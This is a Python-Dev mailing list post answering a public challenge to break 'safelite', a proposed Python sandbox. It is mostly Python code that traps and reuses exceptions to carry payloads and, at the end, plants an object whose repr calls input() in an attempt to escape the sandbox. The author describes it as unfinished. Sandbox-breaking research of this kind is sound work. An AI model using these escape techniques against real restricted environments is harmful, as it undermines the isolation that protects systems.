[Python-Dev] Challenge: Please break this! [Now with blog post]

Daniel (ajax) Diniz ajaksu at gmail.com
Tue Feb 24 22:42:59 CET 2009


print '''
tav wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!

Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.

Targets 2.6 or trunk.

It was how I stumbled upon the _warnings hack :)

Should be copy-n-past'able,

Daniel
'''

# Hi
from safelite import FileReader

# First, it's possible to set a booby-trapped
# Exception due to a Python bug

# This is bait, say hi bait
def bait():
    ''' Hi! '''
    try:
        return bait()
    except:
        return "Ready to go"

# Set the trap
bait()

# Let FileReader trigger it -> RuntimeError in Namespace:
FileReader('safelite.py')

# ^- shoud give:
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "safelite.py", line 242, in FileReader
#     self = Namespace()
#   File "safelite.py", line 165, in Namespace
#     for name, obj in sys.get_frame_locals(frame) \
#                                       .iteritems():
#  RuntimeError: maximum recursion depth exceeded
#

# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
    FileReader('safelite.py')
except Exception, caught:
    pass

# Let's brand it
caught.__init__("I'm back, the other side is scary!")

# Now set it free and see if it comes back
bait()
try:
    FileReader('safelite.py')
except Exception, caught_again:
    pass

# Who's there?
print caught_again # -> He's back!

# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.

# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available

# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)

# ^- shoud give:
# Traceback (most recent call last):
#  File "<stdin>", line 1, in <module>
#  File "safelite.py", line 201, in FileReader
#    fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
#                                   to internal function

# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message

# ^- shoud give:
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# SystemError: Objects/moduleobject.c:50: bad argument \
#                                  to internal function

# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.

# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.

# Here's the target: freedom
class freedom(object):
    def __repr__(self):
        print list(sorted(globals()['__builtins__'].keys()))
        print '\n\n--------\n'
        return str(input('Type for freedom:\n >> ;) > '))

# Initiate caught on it
caught.__init__(freedom())

# Set the bait...
bait()

# Now, type something clever :)
FileReader('safelite.py')


More information about the Python-Dev mailing list